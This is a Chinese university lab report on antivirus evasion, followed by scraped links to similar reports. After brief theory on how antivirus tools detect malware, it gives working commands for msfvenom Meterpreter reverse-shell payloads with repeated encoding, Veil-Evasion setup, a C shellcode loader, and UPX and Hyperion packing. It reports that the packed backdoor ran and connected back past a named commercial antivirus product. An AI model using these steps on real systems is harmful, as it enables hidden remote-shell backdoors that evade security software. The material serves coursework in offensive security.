2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践
2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践
免杀原理及基础问题回答
免杀
1. 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
2. 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
3. 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
基础问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
- 免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
- 免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- 改变行为
- 通讯方
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 通讯方
- 改变特征码
- 开启杀软能绝对防止电脑中恶意代码吗?
- 不能,因为恶意代码一系列的隐藏或加密变换后杀软并不能察觉异常敏感信息。
课下实验
实验准备:
- 获取IP地址:windows7系统IP地址为192.168.44.130、linux系统IP地址为192.168.44.128。
实验内容:
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 任务二:通过组合应用各种技术实现恶意代码免杀
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验3.1.1 msf编码器的使用
生成exe文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
- 缺点:解码部分以及模板固定都是病毒检测的关键处和薄弱点。
- 下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.44.128 LPORT=5324 -f exe > met-encoded.exe
- 使用VirusTotal扫描结果如下
- 十次编码使用命令:-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.44.128 LPORT=5324 -f exe > met-encoded10.exe
- 使用VirusTotal扫描结果如下:
- 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.16.44.128 LPORT=5324 x> 20165324_backdoor.jar
- 检测如下
- 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165324_backdoor.php
- 检测如下
实验3.1.2 veil-evasion的使用
- 命令行安装:
sudo apt-get install veil-evasion
- 使用详解:
veil
命令进入界面use evasion
命令进入Evil-Evasionuse c/meterpreter/rev_tcp.py
命令进入配置界面set LHOST 192.168.44.128
命令设置反弹连接IP(kaliIP )set LPORT 5324
命令设置端口- 输入
generate
生成文件,接着输入你想要playload的名字:veil_c_5324
- 保存路径为
/var/lib/veil/output/compiled/veil_c_5324.exe
- 安装
- 检测如下
实验3.2:通过组合应用各种技术实现恶意代码免杀
背景知识学习:
加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上分壳分为:
- 压缩壳:减少应用体积,如ASPack,UPX
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
半手工注入Shellcode并执行,
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5324 -f c
用c语言生成一段shellcode;
- 创建文件
5324.c
,将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] = 生成的shellcode;
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令
i686-w64-mingw32-g++ 5324.c -o 5324.exe
,编译为可执行文件5324.exe通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的.
使用压缩壳(UPX),命令为:
upx xxx.exe -o xxx_upxed.exe
使用加密壳(Hyperion)
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v 5324_upxed.exe 5324_upxed_hyperion.exe
进行加壳
- 将上一个生成的文件拷贝到
对目标主机进行反弹攻击测试:(半手工生成的shellcode+压缩壳可直接实现,但半手工生成的shellcode+压缩壳+加密壳在目标主机上运行出错)
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 对方电脑为windows7,腾讯电脑管家13.0.19837.233,按照任务二即可(只用压缩壳就可以通过检测了)
2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- About LOCAL_PRIVATE_PLATFORM_APIS in Android.mk
LOCAL_PRIVATE_PLATFORM_APIS := true设置后,会使用sdk的hide的api來编译 在Android.mk中如果有LOCAL_SDK_VERSION 这个编译配置,就会 ...
- mac Intellij Idea Tmocat 启动报 Error running Tomcat: /conf/Catalina
原因:主要是tomcat下Catalina目录没有权限导致,将其设置读写权限即可 如果在刚刚启动tomcat时出现以下问题:Error running Tomcat 8.5.31: Error cop ...
- LeetCode 21 Merge Two Sorted Lists (有序两个链表整合)
题目链接 https://leetcode.com/problems/merge-two-sorted-lists/?tab=Description Problem: 已知两个有序链表(链表中的数 ...
- 数据导入报错:Got a packet bigger than‘max_allowed_packet’bytes的问题
数据导入报错:Got a packet bigger than‘max_allowed_packet’bytes的问题 2个解决方法: 1.临时修改:mysql>set global max_a ...
- 用Ant给Unity3D导出Eclipse工程打包APK
我们经常需要出完apk后,告诉我们改版本号,或者包名什么的,但是每次打包时间又很长.索性我们就出一个eclipse工程,然后用ant自动打包. 1.设置环境变量 2.生成build.xml文件 and ...
- linux常用命令之scp详解
使用scp的前提: 1.服务端启动了sshd服务 2.是本地和远程两端的系统都必须要有scp这个命令.即openssh-clients软件包 [安装方法] [root@ ~]# yum install ...
- ElasticSearch 简单入门
英文原文:Getting Started with ElasticSearch 原文链接:http://www.oschina.net/translate/elasticsearch-getting- ...
- 使用COSBench工具对ceph s3接口进行压力测试--续
之前写的使用COSBench工具对ceph s3接口进行压力测试是入门,在实际使用是,配置内容各不一样,下面列出 压力脚本是xml格式的,套用UserGuide文档说明,如下 有很多模板的例子,在co ...
- java 中常见的一些错误
1.NosuchMethodError java 类中找不到该方法! 可能该类所在的同一个包下有一个相同的相同的类,然后那个类中没有我们所要调用的类. 解决方法:若那个类不需要,可以删除class! ...
- 【紫书】Trees on the level UVA - 122 动态建树及bfs
题意:给你一些字符串,代表某个值被插入树中的位置.让你输出层序遍历. 题解:动态建树. 由于输入复杂,将输入封装成read_input.注意输入函数返回的情况 再将申请新节点封装成newnode(). ...